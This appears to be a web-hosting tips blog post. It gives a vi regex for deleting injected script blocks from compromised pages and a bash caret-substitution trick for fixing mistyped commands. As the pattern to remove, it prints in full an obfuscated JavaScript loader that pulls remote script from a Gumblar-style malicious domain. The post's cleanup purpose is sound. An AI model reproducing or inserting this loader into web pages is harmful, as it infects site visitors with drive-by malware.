Matching and deleting patterns across multiple lines in vi

If you want to search and replace a pattern similar to below,

<script language="javascript"><!-- (function(){var nsLd='v:61r:20a:3d:22:53:63:72iptE:6eg:69ne:22:2cb:3d:22:56e:72s:69:6f:6e()+
:22:2c:6a:3d:22:22:2cu:3dna:76:69gator:2e:75:73e:72A:67:65:6et:3bif(:28:75:2e:
69:6e:64:65:78O:66(:22Win:22):3e0:29:26:26:28u:2ein:64exOf(:22N:54:206:22):3c0)
:26:26(:64:6fc:75:6dent:2eco:6f:6bie:2ein:64exOf(:22m:69:65:6b:3d1:22:29:3c:30):
26:26(:74ype:6ff(zrvzts:29:21:3d:74ypeof:28:22A:22):29:29:7bzr:76zt:73:3d:22A:22:
3bev:61l:28:22if(w:69ndow:2e:22+a+:22)j:3dj+:22:2ba+:22Major:22+b:2ba+:22Minor:22+
:62+:61+:22Bu:69:6c:64:22+b+:22j:3b:22):3bdoc:75me:6et:2ewrite:28:22:3c:73cr:69p:74:
20src:3d:2f:2fgum:62lar:2ecn:2frs:73:2f:3fid:3d:22:2bj+:22:3e:3c:5c:2fs:63r:69pt:3e:22):
3b:7d';var huwu4=nsLd.replace(/:/g,'%');var oLy=unescape(huwu4);eval(oLy)})();
// --></script>

Those who are in web hosting industry may know what the above line means . Anyways you can use this, in the vi exec mode to remove the lines

:%s/<script\_p\{-}--><\/script>//g

It’s better to have a perl script to search and replace the patterns. That is what we run for our clients under Enterprise monitoring plan.

Do you know Bash & csh shell likes carrots ?

When we try to execute a command at the shell, we make mistakes like missing out a character or misspell it. Do you know you can correct them without having to type the command again or taking the history and changing them ? See the following example to understand the use of carrots!

# find . -naem “*.php” -exec chmod 644 {} \;
find: invalid predicate `-naem’

This is when carrots comes to help. Issue this command in the shell and you will get the results.

# ^em^me^
find . -name “*.php” -exec chmod 644 {} \;

If you just execute the command without a proper history to replace, it will display,

bash: :s^em^me^: substitution failed

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